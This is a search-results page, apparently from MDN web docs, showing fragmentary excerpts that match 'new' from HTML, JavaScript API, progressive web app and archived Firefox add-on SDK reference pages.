properties that are not descendants of an element with the itemscope attribute can be associated with an item using the global attribute itemref. 24 itemscope attribute, global attribute, html, html microdata, microdata, reference itemscope is a boolean global attribute that defines the scope of associated metadata. specifying the itemscope attribute for an element creates a
new item, which results in a number of name-value pairs that are associated with the element. 25 itemtype attribute, global attribute, html, html microdata, microdata, reference the global attribute itemtype specifies the url of the vocabulary that will be used to define itemprop's (item properties) in the data structure. 26 lang global attributes, html, reference...
...tml attribute: accept accept, attribute, file, input, reference the accept attribute takes as its value a comma-separated list of one or more file types, or unique file type specifiers, describing which file types to allow. 38 html attribute: capture api, attribute, attributes, capture, constraint validation, html the capture attribute specifies that, optionally, a
new file should be captured, and which device should be used to capture that
new media of a type defined by the accept attribute. values include user and environment. 39 html attribute: crossorigin advanced, attribute, cors, html, needscontent, reference, security the crossorigin attribute, valid on the <audio>, <img>, <link>, <script>, and <video> elements, provides support for...
...t, lists the html <dt> element specifies a term in a description or definition list, and as such must be used inside a <dl> element. 96 <element>: the custom element element (obsolete) element, html, obsolete, web components, custom elements, shadow dom the obsolete html <element> element was part of the web components specification; it was intended to be used to define
new custom dom elements. 97 <em>: the emphasis element element, html, html text-level semantics, reference, web the html <em> element marks text that has stress emphasis. the <em> element can be nested, with each level of nesting indicating a greater degree of emphasis. 98 <embed>: the embed external content element element, embedding content, external content, htm...
...And 3 more matches
Browser detection using the user agent - HTTP
notation if (navigator.useragent.indexof("chrome") !== -1){ // yes! the user is suspected to support look-behind regexps // do not use /(?<=[a-z])/. it will cause a syntax error in // browsers that do not support look-behind expressions // because all browsers parse the entire script, including // sections of the code that are never executed. ...
...me) it could be a later version of chrome that removed it. most importantly, it assumed no other browsers would support the feature. support could have been added to other browsers at any time, but this code would have continued choosing the inferior path. ...
...there is never any reason to check the user agent string for this. ...
...And 3 more matches
Grammar and types - JavaScript
ered best practice, however, to always write a semicolon after a statement, even when it is not strictly needed. this practice reduces the chances of bugs getting into the code. the source text of javascript script gets scanned from left to right, and is converted into a sequence of input elements which are tokens, control characters, line terminators, comments, or whitespace. (spaces, tabs, and
newline characters are considered whitespace.) comments the syntax of comments is the same as in c++ and in many other languages: // a one line comment /* this is a longer, * multi-line comment */ /* you can't, however, /* nest comments */ syntaxerror */ comments behave like whitespace, and are discarded during script execution. note: you might also see a third type of comment syntax at th...
...cript is case-sensitive, null is not the same as null, null, or any other variant.) undefined. a top-level property whose value is not defined. number. an integer or floating point number. for example: 42 or 3.14159. bigint. an integer with arbitrary precision. for example: 9007199254740992n. string. a sequence of characters that represent a text value. for example: "howdy" symbol (
new in ecmascript 2015). a data type whose instances are unique and immutable. and object although these data types are relatively few, they enable you to perform useful functions with your applications. objects and functions are the other fundamental elements in the language. you can think of objects as named containers for values, and functions as procedures that your script can perform. d...
...reates the fish array: let fish = ['lion', , 'angel']; this array has two elements with values and one empty element: fish[0] is "lion" fish[1] is undefined fish[2] is "angel" if you include a trailing comma at the end of the list of elements, the comma is ignored. in the following example, the length of the array is three. there is no mylist[3]. all other commas in the list indicate a
new element. note : trailing commas can create errors in older browser versions and it is a best practice to remove them. let mylist = ['home', , 'school', ]; in the following example, the length of the array is four, and mylist[0] and mylist[2] are missing. let mylist = [ ,'home', , 'school']; in the following example, the length of the array is four, and mylist[1] and mylist[3] are missing...
...And 3 more matches
RangeError: invalid array length - JavaScript
eger, that can only store values which are in the range from 0 to 232-1. if you are creating an array, using the constructor, you probably want to use the literal notation instead, as the first argument is interpreted as the length of the array. otherwise, you might want to clamp the length before setting the length property, or using it as argument of the constructor. ...
...alues which are in the range from 0 to 232-1. if you are creating an array, using the constructor, you probably want to use the literal notation instead, as the first argument is interpreted as the length of the array. otherwise, you might want to clamp the length before setting the length property, or using it as argument of the constructor. ...
...e in the range from 0 to 232-1. if you are creating an array, using the constructor, you probably want to use the literal notation instead, as the first argument is interpreted as the length of the array. otherwise, you might want to clamp the length before setting the length property, or using it as argument of the constructor. ...
...And 3 more matches
TypeError: "x" is not a constructor - JavaScript
is not a constructor typeerror: json is not a constructor typeerror: symbol is not a constructor typeerror: reflect is not a constructor typeerror: intl is not a constructor typeerror: atomics is not a constructor error type typeerror what went wrong? there was an attempt to use an object or a variable as a constructor, but that object or variable is not a constructor. see constructor or the
new operator for more information on what a constructor is. there are many global objects, like string or array, which are constructable using
new. however, some global objects are not and their properties and methods are static. the following javascript standard built-in objects are not a constructor: math, json, symbol, reflect, intl, atomics. generator functions cannot be used as constructors ei...
...tructor is. there are many global objects, like string or array, which are constructable using
new. however, some global objects are not and their properties and methods are static. the following javascript standard built-in objects are not a constructor: math, json, symbol, reflect, intl, atomics. generator functions cannot be used as constructors either. examples invalid cases var car = 1;
new car(); // typeerror: car is not a constructor
new math(); // typeerror: math is not a constructor
new symbol(); // typeerror: symbol is not a constructor function* f() {}; var obj =
new f; // typeerror: f is not a constructor a car constructor suppose you want to create an object type for cars. you want this type of object to be called car, and you want it to have properties for make, model...
...a car constructor suppose you want to create an object type for cars. you want this type of object to be called car, and you want it to have properties for make, model, and year. ...
...And 3 more matches
TypeError: invalid arguments - JavaScript
the javascript exception "invalid arguments" occurs when typed array constructors are provided with a wrong argument. message typeerror: invalid arguments (firefox) error type typeerror what went wrong? typed array constructors require either a length, another typed array, array-like objects, iterable objects or an arraybuffer object to create a
new typed array. ...
... constructors require either a length, another typed array, array-like objects, iterable objects or an arraybuffer object to create a
new typed array. other constructor arguments will not create a valid typed array. examples no strings in typed arrays typed arrays, for example a uint8array, can't be constructed from a string. in fact, strings can't be in typed arrays at all. ...
... create a
new typed array. other constructor arguments will not create a valid typed array. examples no strings in typed arrays typed arrays, for example a uint8array, can't be constructed from a string. in fact, strings can't be in typed arrays at all. ...
...And 3 more matches
Arrow function expressions - JavaScript
arrow function expressions are ill suited as methods, and they cannot be used as constructors. ...
...this destructuring parameter assignment can also be written as seen below. however, note that in // this example we are not assigning `length` value to the made up property. instead, the literal name // itself of the variable `length` is used as the property we want to retrieve from the object. elements.map(({ length }) => length); // [8, 6, 7, 9] no separate this before arrow functions, every
new function defined its own this value based on how the function was called: a
new object in the case of a constructor. undefined in strict mode function calls. the base object if the function was called as an "object method". etc. this proved to be less than ideal with an object-oriented style of programming. function person() { // the person() constructor defines `this` as an instance o...
...ction person() { // the person() constructor defines `this` as an instance of itself. this.age = 0; setinterval(function growup() { // in non-strict mode, the growup() function defines `this` // as the global object (because it's where growup() is executed.), // which is different from the `this` // defined by the person() constructor. this.age++; }, 1000); } var p =
new person(); in ecmascript 3/5, the this issue was fixable by assigning the value in this to a variable that could be closed over. function person() { var that = this; that.age = 0; setinterval(function growup() { // the callback refers to the `that` variable of which // the value is the expected object. that.age++; }, 1000); } alternatively, a bound function could be created...
...And 3 more matches
Date.prototype.getTime() - JavaScript
f you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax dateobj.gettime() return value a number representing the milliseconds elapsed between 1 january 1970 00:00:00 utc and the given date. reduced time precision to offer protection against timing attacks and fingerprinting, the precision of
new date().gettime() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20µs in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60
new date().gettime(); // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precision with `privacy.resistfingerprinting` enab...
...e().gettime() might get rounded depending on browser settings. in firefox, the privacy.reducetimerprecision preference is enabled by default and defaults to 20µs in firefox 59; in 60 it will be 2ms. // reduced time precision (2ms) in firefox 60
new date().gettime(); // 1519211809934 // 1519211810362 // 1519211811670 // ... // reduced time precision with `privacy.resistfingerprinting` enabled
new date().gettime(); // 1519129853500 // 1519129858900 // 1519129864400 // ... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. examples using gettime() for copying dates constructing a date object with the identical time value. // since month is zero b...
... 1519129864400 // ... in firefox, you can also enable privacy.resistfingerprinting, the precision will be 100ms or the value of privacy.resistfingerprinting.reducetimerprecision.microseconds, whichever is larger. examples using gettime() for copying dates constructing a date object with the identical time value. ...
...And 3 more matches
Date.prototype.toLocaleString() - JavaScript
in older implementations, which ignore the locales and options arguments, the locale used and the form of the string returned are entirely implementation-dependent. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...resenting the given date according to language-specific conventions. performance when formatting large numbers of dates, it is better to create an intl.datetimeformat object and use the function provided by its format property. examples using tolocalestring() in basic use without specifying a locale, a formatted string in the default locale and with default options is returned. ...
...if run in en-us locale with time zone america/los_angeles checking for support for locales and options arguments the locales and options arguments are not supported in all browsers yet. to check whether an implementation supports them already, you can use the requirement that illegal language tags are rejected with a rangeerror exception: function tolocalestringsupportslocales() { try {
new date().tolocalestring('i'); } catch (e) { return e instanceof rangeerror; } return false; } using locales this example shows some of the variations in localized date and time formats. in order to get the format of the language used in the user interface of your application, make sure to specify that language (and possibly some fallback languages) using the locales argument: let date...
...And 3 more matches
Function.name - JavaScript
areful when using function.name and source code transformations, such as those carried out by javascript compressors (minifiers) or obfuscators. these tools are often used as part of a javascript build pipeline to reduce the size of a program prior to deploying it to production. such transformations often change a function's name at build-time. ...
...a javascript build pipeline to reduce the size of a program prior to deploying it to production. such transformations often change a function's name at build-time. source code such as: function foo() {}; let foo =
new foo(); if (foo.constructor.name === 'foo') { console.log("'foo' is an instance of 'foo'"); } else { console.log('oops!'); } may be compressed to: function a() {}; let b =
new a(); if (b.constructor.name === 'foo') { console.log("'foo' is an instance of 'foo'"); } else { console.log('oops!'); } in the uncompressed version, the program runs into the truthy-branch and logs "'foo' is an instance of 'foo'". whereas, in the compressed version it behaves differently, and runs into the else-branch. if you rely on function.name, like in the example above, make sure your ...
...anch. if you rely on function.name, like in the example above, make sure your build pipeline doesn't change function names, or don't assume a function to have a particular name. examples function statement name the name property returns the name of a function statement. function dosomething() {} dosomething.name; // "dosomething" function constructor name functions created with the syntax
new function(...) or just function(...) create function objects and their name is "anonymous". (
new function).name; // "anonymous" anonymous function expression anonymous function expressions that were created using the keyword function or arrow functions would have ""(an empty string) as their name. (function() {}).name; // "" (() => {}).name; // "" inferred function names variables and metho...
...And 3 more matches
Intl.DateTimeFormat() constructor - JavaScript
the intl.datetimeformat() constructor for objects that enable language-sensitive date and time formatting. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax
new intl.datetimeformat([locales[, options]]) parameters locales optional a string with a bcp 47 language tag, or an array of such strings. to use the browser's default locale, omit this argument or pass undefined. unicode extension are supported (for example "en-us-u-ca-buddhist"). for the general form and interpretation of the locales argument, see the intl page. the following unicode extension keys are allowed: nu numbering system. possib...
...ssible values are "lookup" and "best fit"; the default is "best fit". for information about this option, see the intl page. timezone the time zone to use. the only value implementations must recognize is "utc"; the default is the runtime's default time zone. implementations may also recognize the time zone names of the iana time zone database, such as "asia/shanghai", "asia/kolkata", "america/
new_york". hour12 whether to use 12-hour time (as opposed to 24-hour time). possible values are true and false; the default is locale dependent. this option overrides the hc language tag and/or the hourcycle option in case both are present. hourcycle the hour cycle to use. possible values are "h11", "h12", "h23", or "h24". this option overrides the hc language tag, if both are present, and th...
...: "long" (e.g., british summer time) "short" (e.g., gmt+1) the default value for each date-time component property is undefined, but if all component properties are undefined, then year, month, and day are assumed to be "numeric". examples using datetimeformat in basic use without specifying a locale, datetimeformat uses the default locale and default options. ...
...And 3 more matches
Intl.DateTimeFormat.prototype.format() - JavaScript
date) parameters date the date to format. description the format getter formats a date into a string according to the locale and formatting options of this intl.datetimeformat object. ...
...er formats a date into a string according to the locale and formatting options of this intl.datetimeformat object. examples using format use the format getter function for formatting a single date, here for serbia: var options = { weekday: 'long', year: 'numeric', month: 'long', day: 'numeric' }; var datetimeformat =
new intl.datetimeformat('sr-rs', options); console.log(datetimeformat.format(
new date())); // → "недеља, 7. ...
...ar datetimeformat =
new intl.datetimeformat('sr-rs', options); console.log(datetimeformat.format(
new date())); // → "недеља, 7. април 2013." using format with map use the format getter function for formatting all dates in an array. note that the function is bound to the intl.datetimeformat from which it was obtained, so it can be passed directly to array.prototype.map(). ...
...And 3 more matches
Object.prototype.toString() - JavaScript
matically called when the object is to be represented as a text value or when an object is referred to in a manner in which a string is expected. by default, the tostring() method is inherited by every object descended from object. if this method is not overridden in a custom object, tostring() returns "[object type]", where type is the object type. the following code illustrates this: const o =
new object(); o.tostring(); // returns [object object] note: starting in javascript 1.8.5, tostring() called on null returns [object null], and undefined returns [object undefined], as defined in the 5th edition of ecmascript and subsequent errata. see using tostring() to detect object class. parameters for numbers and bigints tostring() takes an optional parameter radix the value of radix mu...
...s no arguments and should return a string. the tostring() method you create can be any value you want, but it will be most useful if it carries information about the object. the following code defines the dog object type and creates thedog, an object of type dog: function dog(name, breed, color, sex) { this.name = name; this.breed = breed; this.color = color; this.sex = sex; } thedog =
new dog('gabby', 'lab', 'chocolate', 'female'); if you call the tostring() method on this custom object, it returns the default value inherited from object: thedog.tostring(); // returns [object object] the following code creates and assigns dogtostring() to override the default tostring() method. this function generates a string containing the name, breed, color, and sex of the object, in the f...
...ostring() to detect object class tostring() can be used with every object and (by default) allows you to get its class. to use the object.prototype.tostring() with every object, you need to call function.prototype.call() or function.prototype.apply() on it, passing the object you want to inspect as the first parameter (called thisarg). ...
...And 3 more matches
Promise.any() - JavaScript
essentially, this method is the opposite of promise.all(). ...
...omises reject, promise.any asynchronously rejects with an aggregateerror object, which extends error, and contains an errors property with an array of rejection values. examples first to fulfil promise.any() resolves with the first promise to fulfil, even if a promise rejects first. this is in contrast to promise.race(), which resolves or rejects with the first promise to settle. ...
... which extends error, and contains an errors property with an array of rejection values. examples first to fulfil promise.any() resolves with the first promise to fulfil, even if a promise rejects first. this is in contrast to promise.race(), which resolves or rejects with the first promise to settle. ...
...And 3 more matches
handler.construct() - JavaScript
the handler.construct() method is a trap for the
new operator. in order for the
new operation to be valid on the resulting proxy object, the target used to initialize the proxy must itself have a [[construct]] internal method (i.e.
new target must be valid). the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p =
new proxy(target, { construct: function(target, argumentslist,
newtarget) { } }); parameters the following parameters are passed to the construct() method. this is bound to the handler. target the target object. ...
...les project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax const p =
new proxy(target, { construct: function(target, argumentslist,
newtarget) { } }); parameters the following parameters are passed to the construct() method. this is bound to the handler. target the target object. argumentslist the list of arguments for the constructor.
newtarget the constructor that was originally called, p above. return value the construct method must return an object. description the handler.construct() method is a trap for the
new operator. ...
...nstruct() method. this is bound to the handler. target the target object. argumentslist the list of arguments for the constructor.
newtarget the constructor that was originally called, p above. return value the construct method must return an object. description the handler.construct() method is a trap for the
new operator. interceptions this trap can intercept these operations:
new proxy(...args) reflect.construct() invariants if the following invariants are violated, the proxy will throw a typeerror: the result must be an object. examples trapping the
new operator the following code traps the
new operator. ...
...And 3 more matches
Reflect.construct() - JavaScript
the static reflect.construct() method acts like the
new operator, but as a function. it is equivalent to calling
new target(...args). it gives also the added option to specify a different prototype. the source for this interactive example is stored in a github repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. syntax reflect.construct(target, argumentslist[,
newtarget]) parameters target the target function to call. argumentslist an array-like object specifying the arguments with which target should be called.
newtarget optional the constructor whose prototype should be used. see also the
new.target operator. if
newtarget is not present, its value defaults to target. ...
...uest. syntax reflect.construct(target, argumentslist[,
newtarget]) parameters target the target function to call. argumentslist an array-like object specifying the arguments with which target should be called.
newtarget optional the constructor whose prototype should be used. see also the
new.target operator. if
newtarget is not present, its value defaults to target. return value a
new instance of target (or
newtarget, if present), initialized by target as a constructor with the given argumentslist. exceptions a typeerror, if target or
newtarget are not constructors. description reflect.construct() allows you to invoke a constructor with a variable number of arguments. ...
...to target. return value a
new instance of target (or
newtarget, if present), initialized by target as a constructor with the given argumentslist. exceptions a typeerror, if target or
newtarget are not constructors. description reflect.construct() allows you to invoke a constructor with a variable number of arguments. (this would also be possible by using the spread syntax combined with the
new operator.) let obj =
new foo(...args) let obj = reflect.construct(foo, args) reflect.construct() vs object.create() prior to the introduction of reflect, objects could be constructed using an arbitrary combination of constructor and prototype by using object.create(). function oneclass() { this.name = 'one' } function otherclass() { this.name = 'other' } // calling this: let obj1 =...
...And 3 more matches
Uint8ClampedArray() constructor - JavaScript
8-bit unsigned integers clamped to 0-255; if you specified a value that is out of the range of [0,255], 0 or 255 will be set instead; if you specify a non-integer, the nearest integer will be set. the contents are initialized to 0. once established, you can reference elements in the array using the object's methods, or using standard array index syntax (that is, using bracket notation). syntax
new uint8clampedarray(); //
new in es2017
new uint8clampedarray(length);
new uint8clampedarray(typedarray);
new uint8clampedarray(object);
new uint8clampedarray(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with...
...
new uint8clampedarray(buffer [, byteoffset [, length]]); parameters length when called with a length argument, an internal array buffer is created in memory, of size length multiplied by bytes_per_element bytes, containing zeros. typedarray when called with a typedarray argument, which can be an object of any of the typed array types (such as int32array), the typedarray gets copied into a
new typed array. each value in typedarray is converted to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and ...
...ed to the corresponding type of the constructor before being copied into the
new array. the length of the
new typed array will be same as the length of the typedarray argument. object when called with an object argument, a
new typed array is created as if by the typedarray.from() method. buffer, byteoffset, length when called with a buffer, and optionally a byteoffset and a length argument, a
new typed array view is created that views the specified arraybuffer. the byteoffset and length parameters specify the memory range that will be exposed by the typed array view. if both are omitted, all of buffer is viewed; if only length is omitted, the remainder of buffer is viewed. ...
...And 3 more matches
WebAssembly.Memory() constructor - JavaScript
maximum optional the maximum size the webassembly memory is allowed to grow to, in units of webassembly pages. ...
... maximum optional the maximum size the webassembly memory is allowed to grow to, in units of webassembly pages. ...
... boolean value that defines whether the memory is a shared memory or not. if set to true, it is a shared memory. the default is false. note: a webassembly page has a constant size of 65,536 bytes, i.e., 64kib. exceptions if memorydescriptor is not of type object, a typeerror is thrown. if maximum is specified and is smaller than initial, a rangeerror is thrown. ...
...And 3 more matches
eval() - JavaScript
evaluation of an expression involving x by assigning the string value of the expression, say "3 * x + 2", to a variable, and then calling eval() at a later point in your script. if the argument of eval() is not a string, eval() returns the argument unchanged. in the following example, the string constructor is specified and eval() returns a string object rather than evaluating the string. ...
...is not a string, eval() returns the argument unchanged. in the following example, the string constructor is specified and eval() returns a string object rather than evaluating the string. eval(
new string('2 + 2')); // returns a string object containing "2 + 2" eval('2 + 2'); // returns 4 you can work around this limitation in a generic fashion by using tostring(). var expression =
new string('2 + 2'); eval(expression.tostring()); // returns 4 if you use the eval function indirectly, by invoking it via a reference other than eval, as of ecmascript 5 it works in the global scope rather than the local scope. this means, for instance, that function declarations create global functions, and that the code being evaluated doesn't have access to local variables within the...
...reter, while many other constructs are optimized by modern js engines. additionally, modern javascript interpreters convert javascript to machine code. this means that any concept of variable naming gets obliterated. thus, any use of eval() will force the browser to do long expensive variable name lookups to figure out where the variable exists in the machine code and set its value. additonally,
new things can be introduced to that variable through eval() such as changing the type of that variable, forcing the browser to re-evaluate all of the generated machine code to compensate. fortunately, there's a very good alternative to eval(): simply using window.function(). see this example of how to convert code using a dangerous eval() to using function(), see below. bad code with eval(): func...
...And 3 more matches
Equality (==) - JavaScript
if you compare one of these with a string litera...
...if you compare one of these with a string literal, the string object will be co...
...at logical not operator null == undefined; // true const number1 =
new number(3); const number2 =
new number(3); number1 == 3; // true number1 == number2; // false comparison of objects const object1 = {"key": "value"} const object2 = {"key": "value"}; object1 == object2 // false object2 == object2 // true comparing strings and string objects note that strings constructed using
new string() are objects. if you compare one of these with a string literal, the string object will be converted to a string literal and the contents will be compared. ...
...And 3 more matches
typeof - JavaScript
ct or primitive whose type is to be returned. description the following table summarizes the possible return values of typeof. for more information about types and primitives, see also the javascript data structure page. ...
...summarizes the possible return values of typeof. for more information about types and primitives, see also the javascript data structure page. type result undefined "undefined" null "object" (see below) boolean "boolean" number "number" bigint (
new in ecmascript 2020) "bigint" string "string" symbol (
new in ecmascript 2015) "symbol" function object (implements [[call]] in ecma-262 terms) "function" any other object "object" note: ecmascript 2019 and older permitted implementations to have typeof return any implementation-defined string value for non-callable non-standard exotic objects. the only known browser to have actually taken advantage of this is old inte...
... typeof symbol('foo') === 'symbol' typeof symbol.iterator === 'symbol' // undefined typeof undefined === 'undefined'; typeof declaredbutundefinedvariable === 'undefined'; typeof undeclaredvariable === 'undefined'; // objects typeof {a: 1} === 'object'; // use array.isarray or object.prototype.tostring.call // to differentiate regular objects from arrays typeof [1, 2, 4] === 'object'; typeof
new date() === 'object'; typeof /regex/ === 'object'; // see regular expressions section for historical results // the following are confusing, dangerous, and wasteful. avoid them. typeof
new boolean(true) === 'object'; typeof
new number(1) === 'object'; typeof
new string('abc') === 'object'; // functions typeof function() {} === 'function'; typeof class c {} === 'function'; typeof math.sin === '...
...And 3 more matches
Progressive web app structure - Progressive web apps (PWAs)
fits it brings. architecture of an app there are two main, different approaches to rendering a website — on the server or on the client. they both have their advantages and disadvantages, and you can mix the two approaches to some degree. server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading
new html content. it works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance — loading a page requires a
new round trip to the server. client-side rendering (csr) allows the website to be updated in the browser almost instantly when navigating to different pages, but requires more of an initial download hit and extra renderi...
...only the parts that have changed. pwas can be built using any approach you like, but some will work better than the others. the most popular approach is the "app shell" concept, which mixes ssr and csr in exactly the way described above, and in addition follows the "offline first" methodology which we will explain in detail in upcoming articles and use in our example application. there is also a
new approach involving the streams api, which we'll mention briefly. app shell the app shell concept is concerned with loading a minimal user interface as soon as possible and then caching it so it is available offline for subsequent visits before then loading all the contents of the app. that way, the next time someone visits the app from the device, the ui loads from the cache immediately and any...
...approach involving the streams api, which we'll mention briefly. app shell the app shell concept is concerned with loading a minimal user interface as soon as possible and then caching it so it is available offline for subsequent visits before then loading all the contents of the app. that way, the next time someone visits the app from the device, the ui loads from the cache immediately and any
new content is requested from the server (if it isn’t available in the cache already). this structure is fast, and also feels fast as the user sees "something" instantly, instead of a loading spinner or a blank page. it also allows the website to be accessible offline if the network connection is not available. we can control what is requested from the server and what is retrieved from the cache ...
...And 3 more matches
Structural overview of progressive web apps - Progressive web apps (PWAs)
lding your pwa. architecture of an app there are two main, different approaches to rendering a website — on the server or on the client. they both have their advantages and disadvantages, and you can mix the two approaches to some degree. server-side rendering (ssr) means a website is rendered on the server, so it offers quicker first load, but navigating between pages requires downloading
new html content. it works great across browsers, but it suffers in terms of time navigating between pages and therefore general perceived performance — loading a page requires a
new round trip to the server. client-side rendering (csr) allows the website to be updated in the browser almost instantly when navigating to different pages, but requires more of an initial download hit and extra renderi...
...h only the parts that have changed. pwas can be built using any approach you like, but some will work better than the others. the most popular approach is the app shell concept, which mixes ssr and csr in exactly the way described above, and in addition follows the "offline first" methodology which we will explain in detail in upcoming articles and use in our example application. there is also a
new approach involving the streams api, which we'll mention briefly. the app shell concept the app shell concept is concerned with loading a minimal user interface and content as soon as possible, caching it so it's available offline for subsequent visits before then loading the remainder of the app's contents. that way, the next time someone visits the app from the device, the ui loads from the ca...
...streams api, which we'll mention briefly. the app shell concept the app shell concept is concerned with loading a minimal user interface and content as soon as possible, caching it so it's available offline for subsequent visits before then loading the remainder of the app's contents. that way, the next time someone visits the app from the device, the ui loads from the cache immediately and any
new content is requested from the server (if it isn’t available in the cache already). this structure is fast, and also feels fast as the user sees "something" instantly, instead of a loading spinner or a blank page. it also allows the website to be accessible offline if the network connection is not available. we can control what is requested from the server and what is retrieved from the cache...
...And 3 more matches
Interacting with page scripts - Archive of obsolete content
since structured cloning doesn't work for functions, this means that you can't export functions that take functions as arguments (such as callbacks) or functions that return functions. create objects in page script scope finally, a content script can use the createobjectin() function to create an object in the page script's scope. ...
...s scope. it can then clone objects or export functions as members of that
new object. for example, in the example above the content script could be written like so: // content-script.js var salutation = "hello, "; function greetme(user) { return salutation + user; } var foo = createobjectin(unsafewindow, {defineas: "foo"}); exportfunction(greetme, foo, {defineas: "greetme"}); this creates a
new object foo in the page script scope, and exports greetme() as a member of foo. now the page script can call the function as foo.greetme(): <html> <head> </head> <body> <input id="test" type="button" value="click me"/> <script> var test = document.getelementbyid("test"); test.addeventlistener("click", function() { alert(window.foo.greetme("page script")); }...
...e="text/javascript" src="page-script.js"></script> </body> </html> the content script "content-script.js" adds an event listener to the button, that sends a custom event containing a message: var messenger = document.getelementbyid("message"); messenger.addeventlistener("click", sendcustomevent, false); function sendcustomevent() { var greeting = {"greeting" : "hello world"}; var event =
new customevent("addon-message", { bubbles: true, detail: greeting }); document.documentelement.dispatchevent(event); } finally, the page script "page-script.js" listens for the message and logs the greeting to the web console: window.addeventlistener("addon-message", function(event) { console.log(event.detail.greeting); }, false); after firefox 30: clone the message object this technique d...
...And 2 more matches
windows - Archive of obsolete content
private browser windows won't appear in the browserwindows property, you won't receive any window events, and you won't be able to open private windows. ...
...private browser windows won't appear in the browserwindows property, you won't receive any window events, and you won't be able to open private windows. ...
...g(highlevelwindow.title); } browserwindows.on("open", converttochromeandback); note that directly accessing low-level chrome objects like this means you're no longer protected by the compatibility guarantees made by the sdk's high-level apis. in particular, depending on what you do with these objects, your code might not work with multiprocess firefox. globals functions open(options) open a
new window. var windows = require("sdk/windows").browserwindows; // open a
new window. windows.open("http://www.example.com"); // open a
new window and set a listener for "open" event. windows.open({ url: "http://www.example.com", onopen: function(window) { // do stuff like listen for content // loading. } }); returns the window that was opened: var windows = require("sdk/windows")...
...And 2 more matches
core/promise - Archive of obsolete content
then(function success(value) { // ... }, function failure(reason) { // ... }); if foo returns a promise that gets fulfilled with the value, success callback (the value handler) will be called with that value. however, if the returned promise gets rejected, the failure callback (the error handler) will be called with the reason of an error. propagation the then method of a promise returns a
new promise that is resolved with the return value of either handler. since a function can either return a value or throw an exception, only one handler will ever be called. var bar = foo().then(function success(value) { // compute something from a value... }, function failure(reason) { // handle an error... }); in this example bar is a promise and it's fulfilled by one of two handlers that are...
...n one promise: function eventualadd(a, b) { return a.then(function (a) { return b.then(function (b) { return a + b; }); }); } var c = eventualadd(aasync(), basync()); error handling one sometimes-unintuitive aspect of promises is that if you throw an exception in the value handler, it will not be be caught by the error handler. readasync(url).then(function (value) { throw
new error("can't bar."); }, function (error) { // we only get here if `readasync` fails. }); to see why this is, consider the parallel between promises and try/catch. we are try-ing to execute readasync(): the error handler represents a catch for readasync(), while the value handler represents code that happens after the try/catch block. that code then needs its own try/catch block to handle error...
... of fact it would be great if we could convert any synchronous functions to asynchronous by making it aware of promises. module exports promised function to do exactly that: const { promised } = require('sdk/core/promise'); function sum(x, y) { return x + y }; var asyncsum = promised(sum); var c = sum(a, b); var casync = asyncsum(aasync(), basync()); promised takes normal function and composes
new promise-aware version of it. the composed function may take both normal values and promises as arguments and returns promise. the returned promise will resolve to value that would have been returned by an original function if it were called with fulfillment values of given arguments. this technique is so powerful that it can replace most of the promise utility functions provided by other promise...
...And 2 more matches
lang/functional - Archive of obsolete content
fn = defer(function myevent (event, value) { console.log(event + " : " + value); }); fn("click", "#home"); console.log("done"); // this will print 'done' before 'click : #home' since // we deferred the execution of the wrapped `myevent` // function, making it non-blocking and executing on the // next event loop parameters fn : function the function to be deferred. returns function : the
new, deferred function. remit() an alias for defer. invoke(callee, params, self) invokes callee, passing params as an argument and self as this. returns the value that is returned by callee. let { invoke } = require("sdk/lang/functional"); invoke(sum, [1,2,3,4,5], null); // 15 function sum () { return array.slice(arguments).reduce(function (a, b) { return a + b; }); } parameters call...
... array.slice(arguments).reduce(function (a, b) { return a + b; }); } parameters callee : function function to invoke. params : array parameters to be passed into callee. self : mixed object to be passed as the this context to callee. returns mixed : returns the return value of callee. partial(fn, arguments...) takes a function and bind values to one or more arguments, returning a
new function of smaller arity. let { partial } = require("sdk/lang/functional"); let add = function add (x, y) { return x + y; } let addone = partial(add, 1); addone(5); // 6 addone(10); // 11 partial(add, addone(20))(2); // 23 parameters fn : function function on which partial application is to be performed. arguments... : mixed additional arguments returns function : the partial function. ...
... fn : function the function that will be executed only once inside the once wrapper. returns function : the wrapped fn that can only be executed once. chain(fn) creates a version of the input function that will return this. let { chain } = require("sdk/lang/functional"); function person (age) { this.age = age; } person.prototype.happybirthday = chain(function () this.age++); let person =
new person(30); person .happybirthday() .happybirthday() .happybirthday() console.log(person.age); // 33 parameters fn : function the function that will be wrapped by the chain function. returns function : the wrapped function that executes fn and returns this. cache() an alias for once. debounce(fn, wait) this function is
new in firefox 30. from underscore's debounce() function: ...
...And 2 more matches
platform/xpcom - Archive of obsolete content
if you don't specify a class id, then the factory will generate one. either way, it will be accessible as the value o...
...e service using the getservice() api: var { class } = require('sdk/core/heritage'); var { unknown, service } = require('sdk/platform/xpcom'); var { cc, ci } = require('chrome'); var contractid = '@me.org/timestampedlogger'; // implement the service by subclassing unknown var timestampedlogger = class({ extends: unknown, get wrappedjsobject() this, log: function(message) { console.log(
new date().gettime() + ' : ' + message); } }); // register the service using the contract id var service = service({ contract: contractid, component: timestampedlogger }); // access the service using getservice() var wrapper = cc[contractid].getservice(ci.nsisupports); var logger = wrapper.wrappedjsobject; logger.log('a timestamped message'); by default, services are registered and unregiste...
...ents.classes[contractid] with one significant difference: that components.classes is not updated at runtime. ...
...And 2 more matches
